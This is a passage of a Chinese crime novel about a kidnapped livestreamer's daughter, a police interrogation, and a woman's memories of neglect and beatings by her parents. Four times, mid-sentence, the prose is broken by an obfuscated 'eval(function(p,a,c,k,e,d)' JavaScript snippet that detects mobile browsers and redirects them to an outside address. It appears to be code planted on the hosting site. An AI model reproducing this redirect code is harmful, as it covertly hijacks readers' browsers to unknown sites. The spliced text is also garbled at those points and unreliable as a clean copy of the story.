“根据目前所掌握的线索,我有个推测。我认为,朱国良很可能在7月9日凌晨与罗嵩见面的时候被杀害了,罗嵩没有从他身上找到他要的东西,所以拿走了朱国良的手机,并群发了一条信息,想试探出那个东西是不是在朱国良的哪个联系人手里。在没有得到有效回复的情况下,次日一早,他又以丢失钥匙为由给朱国良的房东发了一条信息,让房东把钥匙送到某处,过后他去拿,试图进入朱国良的出租房寻找那样东西。为了避免与房东扯皮露馅,他给房东发了一百五十块钱的红包。在房东处了解到,用文字发微信和发大额红包这两点,均不符合朱国良的行为习惯。但因为绑架案嫌犯的短信和微博,这件事惊动了警方,罗嵩最终没敢去朱国良的出租房寻找他想要的那件东西。现在离嫌犯规定的直播时间已不足24小时,时间紧迫,既然朱国良这边难有进展,那就把重点放在罗嵩7月9日凌晨的行动轨迹上,一旦发现有证据证明他和朱国良见过面,立刻把人带回来审讯!”郭阳道。 众人答应着各自忙去了。 李冲道:“郭队,我去查了罗嵩给我们的卡号,记录中并没有提取现金的记录,我打电话过去问他,他说记错了,是他的助手田莉去取的,他再通过转账的方式把钱转给田莉。我打电话给田莉,电话无人接听,去他们公司找人,公司说田莉请了长假,出国旅游去了。” 郭阳道:“查一下罗嵩现在人在哪儿,你带两个人过去看住他,防止他潜逃。” 李冲离开后,郭阳回到自己的办公桌后,查看佳佳幼儿园门口的监控录像。 幼儿园门口的监控摄像头像素比较高,能清晰地拍到接送孩子的家长的脸以及马路对面。 郭阳不仅在视频中看到了站在马路对面树荫下的那个戴口罩的女人,也在画面中看到了接孩子的李亭。 接连看了几个视频之后,郭阳发现了端倪。 每次在李亭接了孩子离开之后,那个女人都会跟着离开,而且是与李亭同一方向。 下午已经调查了仇洋和他老婆徐引璋的个人资料,这个徐引璋今年31岁,籍贯在江平,本科学历。 她认识李亭? 如果认识,为什么不上前打招呼? 她应该不是认识李亭,而是在跟踪李亭,或者说,跟踪罗嵩的女儿罗曼果。 从仇洋的同事和他对门的刘阿姨处了解到,仇洋夫妻目前面临着比较严重的经济问题,他们具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261560|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备绑架知名大主播女儿的动机。 罗曼果失踪的时候,仇洋出现在同一地点,而且他还开着快递三轮车,假设他在徐引璋的协助下用某种方式把罗曼果弄晕了,装进箱子伪装成快递放在三轮车上,就能丝毫不引人怀疑地把罗曼果运出小区。 他们也有陷害朱国良的动机。 可,如果是他们铤而走险绑架了罗曼果,他们应该问罗嵩要赎金才对,为什么会出现在微博上向罗嵩宣战那一幕? 从档案上来看,徐引璋虽是本科毕业,但学的是英语专业,仇洋上的是职校,学的是烹饪,这两个人,哪个能掌握黑客技术? 而且,如果是他们杀了或者绑了朱国良,罗嵩的反应为什么又那样可疑呢?还是说,他们是受罗嵩指使,但事后罗嵩没有兑现答应他们的条件,所以他们才怒而绑架罗曼果,准备和罗嵩鱼死网破? 他伸出双手狠狠揉搓了下疲态尽显的脸。 如果给他时间,所有的疑点都能调查清楚,毕竟现在技侦手段先进,天网系统也已经实现了全面覆盖,唯一需要的就是时间。 “郭队!郭队,有发现!”晚归的杨琳和刘志远破门而入,背着包气喘吁吁地对郭阳道:“朱国良的微信通讯记录调取出来了,7月9日上午,他给罗嵩发过一条语音信息。”说着,从包里掏出一个U盘递给郭阳。 7月9日上午?如果7月9日上午朱国良给罗嵩发过语音信息,那就证明他关于朱国良7月9日凌晨已经遇害的推测错了。 郭阳二话不说,拿过U盘插上电脑,从记录中找到7月9日最后一条语音信息,点开。 “罗嵩,你杀我,我要你的女儿给我陪葬!” 郭阳又听了一遍,确实是朱国良的声音,他在房东的微信里听过他的声音。 “郭队,你说朱国良这是什么意思?这句话,前后矛盾啊,还能发信息,证明并没有死,后面又说要罗嵩的女儿陪葬?我和杨琳思考一路都没想明白。”刘志远道。 “朱国良文化程度低,未必能想到你们疑惑的点。”郭阳拿出手机拨通李冲的电话,道:“立刻把罗嵩带回来配合调查,如果他不肯来,就强制传唤。” 挂了李冲的电话,郭阳想了想,拨打了李亭的电话,打不通。接连打了几个都提示无法接通。 他叫来黄文博,让他带个人去李亭的住址把李亭带回来问话。 15.第 15 章 李亭这会儿已经到了白玉县,白玉县海拔3260米,她和罗三丫都出现了轻微的高原反应,上楼腿酸,走路气喘。 两人尾随余伟忠一行开好房后就不想动弹了,躲在房间里吸氧。 吸了一会儿氧罗三丫下楼去买了两份盒饭,两瓶饮料。 回到房间,两人坐在窗下吃饭,罗三丫看着饭盒里的鸡腿,道:“上次我说好久没想起王老师了,仔细想想也不对,其实每次看到鸡腿的时候我都会想起她,她是我生命中第一个,也是唯一一个让我放开了吃鸡腿的人。你还记得那次我们在王老师家吃鸡腿的事吗?” 李亭忍不住笑了一下,道:“记得,当时你个大馋丫头跟王老师说不知道鸡腿是什么味道,因为你从来没吃过鸡腿,没有弟弟的时候鸡腿是姐姐和爸爸的,有弟弟之后,鸡腿都是弟弟的。你一边说一边咽口水,王老师当时什么都没说,第二天她买了二十根鸡腿,叫咱俩去她家吃晚饭,王老师吃了一根鸡腿,宁宁吃了两根,我吃了四根,你一个人吃了十三根,荣获鸡腿大王称号。” 罗三丫笑得在那儿拍腿,道:“我自己都不知道那会儿是怎么吃下去的,就算是现在,我也吃不了十三根鸡腿。但是那次之后,我再看我弟弟吃鸡腿,我不馋了,因为我知道,他从来没有一次吃十三根鸡腿,吃到撑,吃到想吐。我妈没那个肚量让他一次吃个够。” 李亭喝了口饮料,垂下眸去。 “现在想来,认识王老师之后那一年时间,真的是我为数不多的无忧无虑的时光了。欸?亭亭,我记得在遇到王老师之前,你原本打算上完初中就跟我一起出来打工,后来在王老师的劝说下你改了主意,说要好好上学,后来怎么没上大学呢?我从咱们初中同学那里听说你中考考得很好啊,全校第一,是高中发生了什么事吗?”罗三丫突然想起这茬。 李亭摇头:“我没上高中。” “啊?为什么?”罗三丫惊诧地瞪圆了不大的双眼。 李亭嘴角勾起一丝嘲讽的微笑,向后靠在了椅背上。 七月的阳光明晃晃地晒在树梢上,蝉鸣聒噪,枝叶干燥耷拉的大树犹如在父母凌厉的目光盯视和高声叱骂中低下头的孩子。 “妈,我考上楚水中学了,高中要交学杂费住宿费,你能不能寄点钱过来?”小卖部门外,十五岁的李停妹握着听筒,在小卖部前头树下纳凉的那群农村妇女的盯视和窃窃私语声中,手心冒汗口干舌燥地小声问。 “我哪有钱啊,就我跟你爸两个人赚钱,要付房租,水电燃气费,一家四口吃喝拉撒,还有你弟弟妹妹的学费,每天一睁眼就是花钱,每个月都不够用,哪有钱给你啊?”电话那头传来她母亲罗淑珍尖利的机关枪一样的说话声。 李停妹垂眸,手指绕着电话线,茫然又羞耻地问:“那、那我怎么办?” 电话那头沉默了片刻,罗淑珍的语调突然变得平和温柔起来,道:“要不你过来吧,到这边来上学,这边是大城市,你可以走读,这样就能省掉住宿费,省得你婆奶奶舅妈整天罗里吧嗦的。” 李停妹不知道转去别的城市上高中要办哪些手续,去了又能不能上到和楚水中学一个档次的高中。 “这些事情交给你爸爸去办,我给你舅妈转路费,你尽快收拾一下过来吧,你拿上纸笔,我告诉你该怎么坐车。” 李停妹忙向小卖部老板借了纸笔,把线路和地址都记下来。 李停妹九岁就被送到外婆家,到现在整整六年,和父母见面的次数屈指可数,现在突然要她搬去城里和父母一起生活,心中难免忐忑不安。 她已经不是六年前那个整天盼望着父母来接自己回去的孩子了,这么多年过去,她早已知道,对父母来说自己是多余的那个孩子,所以才会把她扔在外婆家六年不闻不问。 现在的爸妈对她来说,跟陌生人也没什么区别。 一夜未眠。 第二天上午,舅妈就把两百零三块钱拍在了她面前,冷笑着嘲讽道:“你妈可真行,看给你汇的钱,有零有整的,估计刚好够你去找她的车费。既然她这个当妈的都不担心你路上饿着渴着,那我这个做舅妈的就更管不着了。” 李停妹就这样拎着编织袋,饿着肚子,拿着她妈给她汇的两百零三块钱,踏上了去城里找她父母的旅程。 舅妈说的没错,两百零三块钱,刚好够她坐大巴加公交到她妈妈给她的那个地址,一分不多一分不少。 下公交车时,是下午三点多,天黑得像傍晚,大雨滂沱。 她没有伞,也不熟悉环境,抱着编织袋一边走一边问人,淋着雨,又冷又饿,花了十几分钟才来到父母租住的小区。 老式小区,每栋楼有六层高,没有电梯。 她徒步爬楼,像蜗牛一样在楼梯上留下一条湿漉漉的痕迹。 到了六楼,她看着沾满灰尘的602门牌号,做了好一会儿心理建设,才伸手摁了摁门铃。 门铃不响,她只得转为敲门,没人开门。 她贴近大门仔细听了听,隐约听到房里传来电视的声音,于是继续敲。 过了好一会儿,门忽然开了,一个看起来十岁左右的女孩出现在李亭面前,满脸不高兴地看着她,问:“你是谁啊?” “宝娣,我是你姐姐,停妹。”李停妹浑身滴着水,狼狈地说。 李宝娣并没有如她所想让她进去,而是抬着下巴问道:“你怎么证明你是我姐姐?”当年李停妹被送走时宝娣才四岁,这六年,姐妹俩一共在外婆家见过两次面,上次见面距今已经有三年。 这句话把李停妹给问住了,她这才发现,她长这么大,跟父母似乎没有一张合照,她也没有手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261561|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,没办法打电话给爸妈。 这时一个比女孩稍小些的男孩捧着手机来到女孩子身后,好奇地向门外张望。 李停妹说:“你们可以打电话给爸妈问一下。” “手机没卡,爸妈说不能让陌生人进门。”李宝娣说完,砰的一声把门关上了。 李停妹没有再敲门,她明白李宝娣知道她是她姐姐,她只是讨厌她,不想让她进门。 她坐在楼梯上等,一直等到六点多,她妈罗淑珍回来。 罗淑珍开门带她进去,不轻不重地责骂了李宝娣一句,然后让李停妹去厨房把饭煮上,把她刚买回来的菜洗一洗。 七点多,李存根回来了,一家人一起吃饭。 罗淑珍给儿子李天耀夹了一块红烧排骨,李宝娣急急地伸出筷子,接连给自己夹了两块,还想夹第三块的时候被罗淑珍打了筷子。 “饿死鬼啊你,一下子夹那么多干什么?”李淑珍骂道。 李宝娣也不吭声,坐下来啃排骨。 李存根说了句客气话,“停妹你也吃,自己夹。” 罗淑珍没说话,李天耀和李宝娣都瞪着李停妹。 李停妹说:“谢谢爸,我不爱吃荤。”说着默默夹了筷韭菜炒鸡蛋里面的韭菜。 她饿了很久,胃里火烧火燎的,不敢吃快了,怕难受。 李存根和罗淑珍都各自添了一碗饭,李停妹吃完一碗饭,放下筷子想再去盛一点,罗淑珍惊讶地叫住她说:“你还要吃啊?女孩子吃太多容易发胖,不好看,锅里还剩一碗了,给你弟弟留的,你弟弟正长身体呢,要多吃。” 李停妹就把自己的碗筷收到厨房水池里去了。 李天耀吃完饭,罗淑珍哄他再吃一碗,他死活不肯,罗淑珍只得道:“好好好,那还有一碗饭明天早上叫姐姐炒饭给你吃好不好?” 李天耀点点头,捧着手机跑到沙发那边玩去了。 等他们都吃完了,李停妹自觉地去收拾桌子,洗碗。 罗淑珍剔着牙来到厨房水池边,看着李停妹麻利的洗碗动作,问:“停妹,听你婆奶奶说,你会做饭?” “嗯。”她一个外甥女,常年借住在舅舅家,自然不是白给她住的,做饭洗衣收拾卫生,家里所有的家务活几乎都是她的,农忙时还要帮忙干农活,所以她双手粗糙皮肤黝黑,一句话不说人家都能看出来她是留守儿童。 “那这个暑假,你就辛苦一下,在家照顾你弟弟妹妹,帮爸妈分担一点,你也看到了,爸妈要工作,真的顾不上他们。”罗淑珍道。 “爸爸什么时候去帮我办转学手续?”李停妹问。 “等他打听好了需要准备什么材料就去,毕竟替你去办这些也是要请假的,一直请假的话工作就没了,到时候一家子喝西北风。”罗淑珍道。 “哦。” 16.第 16 章 李存根罗淑珍租的这个房子是个两居室,他们夫妻俩一个房间,李宝娣和李天耀一个房间,李停妹在李宝娣和李天耀的房间里打地铺。 虽然来到了父母身边,但李停妹的日子过得跟在外婆家时没有丝毫分别,家务永远是她的,好吃的东西永远也轮不到她。大人的说辞都是一样的,你是姐姐,要照顾弟弟妹妹,你是姐姐,要让着弟弟妹妹。 仿佛早出生几年得了天大的好处,以至于有了弟妹之后要无穷尽地让着他们。 她无所谓,她能忍。 她想继续读书,只要爸妈愿意供她上学,她什么苦都能吃,什么事都可以忍。 半个月后,她办好了暂住证,了解到暂住证也能去市图书馆借书,就对李宝娣和李天耀道:“姐姐今天想去图书馆借书,你们也一起去好不好?” “外面热得要死,我才不去呢。”李宝娣眼睛盯着电视,头也不抬道。 “我也不去。”李天耀捧着手机,游戏打得正热闹。 李停妹看看墙上的时钟,刚九点出头,她对弟弟妹妹道:“那你们乖乖待在家,姐姐去借了书回来就给你们做饭。” 她去了一趟市图书馆,办了借记卡借了几本书,赶在午前回到家给弟妹做了饭。 吃过饭后,李天耀和李宝娣先后腹痛起来,上吐下泻,李停妹吓坏了,急忙拿李天耀的手机打给罗淑珍。 罗淑珍着急忙慌地赶回来,以为是李停妹饭菜做得不干净,急头白脸地把她臭骂了一顿,带着两个孩子去诊所看病。 挂了一下午的点滴,到傍晚,罗淑珍和李停妹一人背着一个孩子回到家里,热得口干舌燥,打开冰箱门一看,昨天才买的十几根雪糕竟然不翼而飞。 眼看实在瞒不住了,李宝娣才老实交代,是她和李天耀把那十几根雪糕全都吃了,但她说是因为姐姐出去玩,到了中午还不回来,她和弟弟实在太饿了才吃的。 李停妹解释自己是去图书馆借书去了,并没有丢下弟弟妹妹出去玩,也并没有晚回来。 “你一个女孩子,读那么多书有什么用?楼下的豆豆妈妈,人家研究生毕业,那又怎么样,结了婚还不是在家全职带孩子?要我说根本就费不着花那个时间和钱,国家提倡九年义务教育,就是说普通家庭的孩子读九年书就够了。你十八岁之前在家帮爸妈干干活,十八岁之后找个人嫁了,一辈子也就安定下来了,有什么不好?”罗淑珍瞪着李停妹道。 李停妹愣了好一会儿,问:“所以你说让我到城里来上高中,是骗我的?” 罗淑珍抱起双臂,道:“本来想晚点告诉你,既然话说到这份上,我就直截了当地跟你说清楚,是,你弟弟和妹妹都在上学,我和你爸实在供不起你,所以不准备让你继续读书了。” 李停妹感到一阵天旋地转,脑子里空白了半晌才找回思绪,她一把抓住罗淑珍的手臂,着急道:“妈,我成绩很好,你让我继续读书,我以后一定能考个好大学,找个好工作,赚很多钱回来孝敬你们。” “你不用给我画大饼,豆豆妈妈成绩不好吗?成绩不好能读到研究生?最后还不是做家庭主妇,自己都要手心向上问别人要钱,能给自己爸妈什么钱?总之高中你别想了,等暑假过去我给你找个兼职干干,赚点钱补贴家用。”罗淑珍毫无商量余地地说。 “妈,妈,求你了,让我上高中,学费就算我向你们借的,生活费我自己去兼职赚,他们说大学学费能贷款,你们只需要借我三年高中学费就可以了,妈,求求你了。”李停妹给她跪下了,苦苦哀求。 “你这孩子怎么一点都不懂事?没钱,就是没钱!” “妈,我难受。”李天耀在一旁哼哼唧唧。 罗淑珍忙紧张地凑了上去,回身冲跪在地上的李停妹喊道:“还不去做饭,净说这些没用的,待会儿你爸都要下班了。” 提起李存根,李停妹心中又升起一丝希望——说不定爸爸会同意她继续上学呢? 她爬起来去做晚饭。 李存根回来得知李宝娣和李天耀吃坏肚子的事,并没有责怪李停妹,这让李停妹心中的希望更大了一些。 好不容易等到罗淑珍去给李天耀洗澡,李停妹对李存根提起想继续上学的事。 李存根讪讪道:“咱们家钱都是你妈在保管,要不……这事就听你妈的吧。” 李停妹看着男人回避的神色,觉得自己实在是太天真了。 接下来几天,她依旧每天买菜做饭洗衣服拖地,只是比以往更沉默。 李存根和罗淑珍看在眼里,并不觉得愧疚。身为父母,他们认为给她吃给她穿给她住的地方,已经尽到做父母的责任了。 七月底的一天,李存根和罗淑珍早上起床,发现桌上并没有做好的早餐,厨房里也没有忙碌的身影。 罗淑珍以为李停妹睡过头了,气冲冲地推开次卧的门,发现房里只有李宝娣和李天耀两人,地上没有席子,墙角李停妹用来放衣服的编织袋不见了。 李停妹用买菜攒下来的钱离家出走了。 夫妻俩赶紧报了警,不是担心李停妹的人身安全,而是因为,李停妹走了就没人给他们看孩子做家务了。 李停妹来的这一个月,是他们过得最舒服的一个月,家里有了免费的保姆,孩子不用管,家务不用做,每天下班回家就坐下吃饭,吃完饭把碗一推就看电视,看困了就睡觉,第二天起床又有现成的早饭吃,吃完去上班,这种日子哪里去找? 所以绝对不能让李停妹离家出走。 他们刚开始报失踪,后来报疑似被拐带。 就这样,李停妹出走三次,被他们找回来三次。 第一次找回来,他们还会耐着性子对她进行道德绑架,到后来,找回来关上门就是打,扇耳光,用脚踹,用衣架抽。 每次都是罗淑珍动手,李存根旁观,但只要李停妹敢反抗,李存根一定会加入进来,帮罗淑珍压制住她。 夫妻一体这四个字在这一刻被他们诠释得淋漓尽致。 因为长期营养不良,李停妹十四岁才开始发育,十五岁身高也只有一米五出头,根本不是两个成年人的对手,每次都被打得遍体鳞伤。 李宝娣与李天耀两个人从一开始害怕到后面熟视无睹,再后来,李停妹被夫妻两个打得躺在地上,李天耀甚至敢跑过去踢踢她的腿,然后向父母汇报:“爸爸妈妈,大姐没死,还在眨眼呢。” 也是那天晚上,罗淑珍睡到半夜,忽然被脸上冰凉的触感惊醒,她睁开眼,看到床前站着个黑黢黢的人影,忍不住惊叫起来。 李存根被她的惊叫声吵醒,忙坐起身摁亮房里的灯。 夫妻俩看到床前的李停妹,齐刷刷地倒抽一口冷气。 李停妹鼻青脸肿披头散发,右手拿着一把菜刀,左胳膊上鲜血淋漓,表情木然,两只眼睛却似亮着两团火,站在床前直勾勾地看着他们。 罗淑珍反应过来刚才贴在她脸上的可能就是她手里的菜刀,全身的汗毛都炸了,结结巴巴地问:“你、你干什么?” “我觉得好痛苦,想自杀,划了自己一刀,好痛。”李停妹说。 李存根看着她手里的菜刀,咽了下口水,道:“停妹,你别激动,有话好好说。” “我不明白,我到底做错了什么,要过这种生不如死的生活?想来想去,我觉得我唯一的错,就是有你们这样一对父母,与其自杀,不如杀了你们,反正我未成年,不会被判死刑的。”李停妹表情阴森森的带着一股鬼气,握着菜刀刀柄的手指紧了紧。 罗淑珍的喉头也跟着紧了紧,人不自觉地向李存根那边靠过去,一只手抓住了枕头。李存根手往床头柜上摸,那里放着一只厚重的玻璃烟灰缸。 “停妹,我们是你爸爸妈妈……” 罗淑珍刚想劝说她放下菜刀,又被她打断。 “后来我一想,不管是我死了还是你们死了,都太便宜你们了,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267094|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受不到我的痛苦。要让你们感到痛苦,只有一个办法,那就是杀了天耀,你们心心念念的宝贝儿子。”李停妹阴冷一笑,提着刀转身就往外走。 “不要,停妹!你想走你就走,别伤害天耀,求你了!”罗淑珍在她身后大叫起来。 李停妹停步,侧着身子看她。 “真的,你想走你就走,我和你爸不会再报警找你了,别伤害天耀,求求你。”罗淑珍抱着枕头,看着她软语求道。 “如果你们再报警抓我回来,我就杀了天耀和宝娣,不信,你们就试试。”李停妹用眼睛斜着他们,冷冰冰地说。 李亭语气平淡,仿佛在讲别人的故事,罗三丫却听得目瞪口呆。 “就这样,我十五岁离开家,一晃十八年过去了,他们再没来找过我。”李停妹道。 罗三丫低头道:“中考后我打电话到你外婆家,他们说你到城里找你爸妈去了,我又从同学那里知道你中考考了全校第一,还替你高兴来着,没想到……你那样的成绩,没能继续上学,实在是太可惜了,高中学费也没多少啊,丽丽一学期学费一千五百多,十八年前肯定更便宜。” 李亭喝了口饮料,一脸云淡风轻道:“无所谓,都过去了。虽然没能继续上学,但我记着王老师教我的‘三不原则’,这些年过得也挺好的。” “三不原则?对了,以前王老师好像是教过我们,说女孩子要过得好,不能……不能什么来着?” “一,不要停止学习。二,不要与只能给自己带来痛苦的人或事纠缠。三,不要轻易结婚生孩子。” 罗三丫苦笑:“我一个都没记住,也一个都没做到,活该我这些年过得辛苦。” “我可不这么看,这些年你独自撑起一个家,又把丽丽培养得这么好,要说你没有认真学习怎样赚钱,学习怎样当一个好妈妈,我是不信的。人的一生,容错率是很高的,王老师的话也不是唯一的至理名言,在我看来,现在的你只要摆脱了姜洪彪这个只会给你带来痛苦的人,前途便是一片光明。”李亭道。 罗三丫不好意思地捋了下鬓边的散发,道:“我学什么当好妈妈呀?不过是想起自己小时候受过的气和苦,努力不让丽丽再受一遍罢了。我就看不上那种用‘父母也是第一次当父母’来为自己开脱的人,都是屁话,以前没当过父母,难道没当过孩子吗?不知道自己小时候喜欢什么讨厌什么吗?说到底就是没那么爱罢了。孩子又不傻,只要你是站在她的立场上为她着想的,哪怕因为你笨,因为你能力有限做得不好,她也会原谅你,就像丽丽对我一样。至于姜洪彪那个混蛋,自己没有工作全靠我养,肯定是不肯答应离婚的,也不知道要扯皮到什么时候,我别的不怕,就怕影响丽丽的心情,让她不能专心学习,高二高三可是她的关键时期。” “只要你够坚决,就没有离不了的婚。你们现在住的那套房子,是租的还是买的?”李亭问。 “婚前他父母贷款买的,只写了他一个人的名字,但房贷几乎都是我还的。” “那你告诉姜洪彪,只要他痛快答应离婚,你就不要房子,如果他不肯离,你就起诉,房款扣除首付,至少要分你一半。” “啊?那怎么行?还有四年贷款都要还完了。再说我不要房子的话,我和丽丽住哪儿?”罗三丫不愿意。 “你不是说因为自己当过孩子,知道孩子喜欢什么讨厌什么吗?你想想小时候我们在村上的时候,你是喜欢呆在自己家里?还是喜欢呆在王老师那儿?王老师那房子可是租的,我们还帮着她搬过家具,记得吗?” 罗三丫低头不说话。 李亭伸过手去握住她粗糙的手,道:“姗姗,别担心房子的事,我资助你买房子。我这辈子是不打算结婚生孩子的,从小到大,也就你这一个朋友。丽丽那么好,完全就是我们内心期待的样子,就让我把她当成半个女儿,给她撑起一半的天空,让她无忧无虑地飞,能飞多高飞多高,能飞多远飞多远。” 17.第 17 章 另一个房间,余伟忠翘着二郎腿坐在沙发上,心事重重地抽着烟。 “你说话呀,明晚八点就是直播时间了,到时候还不知道会发生什么事?事情在网上闹得这么大,我们带着那个孩子,跟带着一枚定时炸弹一样,别到时候钱没弄着,反而把自己炸得粉身碎骨。”张苏彤焦虑地啃着自己的美甲,皱着眉头道。 “急什么?孩子不是我们绑的,现在在我们手里,网上发帖的那家伙就是虚张声势。只要警察不知道孩子在哪儿,我们就是安全的。” “确定那帖子不是姓仇的发的?” “不是,而且警方通缉的是那个叫朱国良的,证明还没查到姓仇的头上。别急,先看戏。明天就进麦当劳线了,山路十八弯,人烟稀少,到那时,再见机行事。”余伟忠将烟头掐灭在烟灰缸里。 隔壁房间,徐引璋抱着果果,小心地打量着余文俊,试探问道:“你是余伟忠儿子?看你这么年轻,应该还在上学吧,为什么跟你爸爸出来做这种事?” 余文俊不理她。 “想必你也已经知道了,果果是大主播罗嵩的女儿,这件事现在在网上闹得这么大,无论如何是不能善了了,你年纪轻轻,人生才刚刚开始,何必来趟这趟浑水?” “我不想趟浑水啊,我只想拿到学费,等着去大学报道而已。你老公欠我爸钱,把钱还给我爸不行就了?”余文俊焦躁地开口。 “不是我们不想还,我们是真的没钱。昨晚我老公已经贷了五万还给你爸了,大学一年学费加生活费应该也用不了这么多,你去问你爸要了这笔钱,赶紧走吧,我就当没见过你。你还是个孩子,我不想连累你。”徐引璋道。 这时有人敲门,余文俊去开门,见张苏彤回来,就去隔壁房找余伟忠。 “那个女的说她老公给你汇了五万,是不是?”余文俊问余伟忠。 余伟忠也不隐瞒,“是。” “我学费五千,你给我五千,我不想再在这儿呆下去了。”余文俊道。 “不行。” “为什么?我只要五千。” “学费五千,生活费呢?难道你同学无忧无虑吃喝玩乐的时候,你要苦哈哈地去打工赚钱,每顿都吃咸菜馒头?” 余文俊咬着腮帮子,面色纠结。 余伟忠拍了拍他的肩,道:“别胡思乱想,爸爸只是在讨债,合理合法,你看,他们都不敢报警,你怕什么?耐耐性子再等几天,等爸爸要来了钱,会把你四年所需要的学费和生活费一起给你。你是我余伟忠的儿子,别人有的,你也要有,一样都不能缺。” 说完,他走到窗前,用徐引璋的手机拨通了仇洋的电话。 宾馆楼下,仇洋在车里接通了电话。 “不管网上那个帖子是谁发的,显而易见,明天是你最好、也是最后的机会,叫罗嵩把一百万打到你老婆的卡上,不许报警,报警我们就撕票。等你老婆安全取出这笔钱,我们就放人。” “知道了。”仇洋挂断电话。 “小兔崽子,等到了没人的地方,看我弄不死他!”一旁仇国富目光阴狠地骂道。 昨天仇洋从几个平台贷出了十万块钱,给了余伟忠五万,给了仇国富五万,和仇国富说好到了人烟稀少的地方,要找机会武力救回徐引璋和孩子。 罗嵩那边发布了悬赏,等救出了徐引璋和孩子,再由仇国富打电话去告诉他们孩子的下落,拿到悬赏,不够的仇洋再给他凑凑,这样他要的五十万就有了。 如果仇国富敢提前打电话给他们说孩子的下落,仇洋就告诉警察仇国富和他是一伙的,他绑架孩子就是受他指使。仇国富打了他一顿,骂骂咧咧地答应了,两人也在成都把轿车换成了越野车,继续跟着徐引璋的手机定位。 当晚二十二点三十一分,罗嵩到了警局。 “郭队长,是我的女儿被绑架了,我是受害者家属,要我跟你重申多少遍?你们不去找我女儿,一再在我身上浪费时间和警力,到底想干什么?你们警察就是这么办案的?”一进问询室,罗嵩摘下口罩摔在桌上,就开始朝郭阳发难。 郭阳看着他平静道:“为了这个案子,我这些同事已经两天两夜没合眼了,请你过来,是因为我们的调查遇到了瓶颈,如果你肯配合,可以大大加快我们的调查进度。还有二十一小时二十八分钟三十六秒就要直播了,在此之前找不到朱国良,找不到果果,谁也无法预测直播后到底会发生什么事。我们不眠不休追查线索力求破案是我们职责所在,而你作为父亲,为了救你女儿的命过来配合一下我们警察办案,怎么就那么令你不耐烦呢?” “我知道的我能说的都已经说了。”罗嵩道。 郭阳点点头,道:“我知道,可是对我们有用的,正是你不能说的那部分。” 罗嵩一愣,眼神暗暗警惕起来。 郭阳叫他坐下,开门见山:“7月9日,朱国良给你发过一条语音信息,内容显而易见与你女儿的绑架案有关,为什么不告诉我们?” “我不知道,我不想理他,那条语音是我收到威胁短信后才点开的。”罗嵩道。 “是吗?可是微信记录上显示他7月9日上午八点五十八分给你发的语音信息,那天你出了追尾事故,从监控录像上看,出事故的时间正好也是上午八点五十八分,原因是你急刹车,后面的车辆来不及反应,追尾了你。不是因为这条微信吗?” “不是,当时我走神了而已。” 郭阳审视着他,半晌,道:“好,就算你是走神,那你听了那条语音之后,有什么想法?” “他要不到钱发神经,绑架了我女儿。” “可是他绑架你女儿之后,并没有向你要钱。” “谁知道他……” “罗嵩,7月9日凌晨,你到底有没有见过朱国良?”郭阳猛的打断他,提高音量喝问道。 罗嵩瞪大眼睛,刚要张嘴说话,郭阳道:“我们已经调取了你们的通话录音,也申请了对你车辆的技术侦查,很快就会知道你当晚的行动轨迹。我说了,叫你过来配合调查只是为了加快侦查进度,并不是表示只有你说了我们才能弄清楚事实真相。” 罗嵩垂眸,过了一会儿,抬眼道:“7月9日凌晨,我见了朱国良。” “之前为什么撒谎?” “我不想承认,果果被绑架,都是因为我。” “你和他在那儿见的面?” “西郊生态园。” “继续说下去。” 罗嵩从口袋里摸出烟,点燃吸了一口,道:“他手里有我婚内出轨的证据,敲诈我,扬言如果我不给钱,就发到网上。我是干直播这行的,个人形象很重要,别人至少得相信你是个正直诚实的人,相信你不会骗她们,才会来你的直播间买东西。婚内出轨虽然不算事业上的污点,但一旦发到网上,以我的知名度,一定会广为传播,让我形象受损,进而影响我的事业,所以一开始,我是愿意拿钱息事宁人的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“他追着我骂骂咧咧,各种威胁,我没理他。” “朱国良既然敲诈你,你就没找个人调查调查他?比如说他在京山有没有亲戚朋友之类的?” “找人调查他就等于让我出轨的事多一人知道的风险,我没有找人调查他。” “你一共给了朱国良多少钱?” “一百二十万,还有些零碎的记不清了。” “都是现金?” “第一笔二十万是汇款,后面的他怕银行起疑,叫我给现金。” “把第一笔汇款的账号提供给我们。” 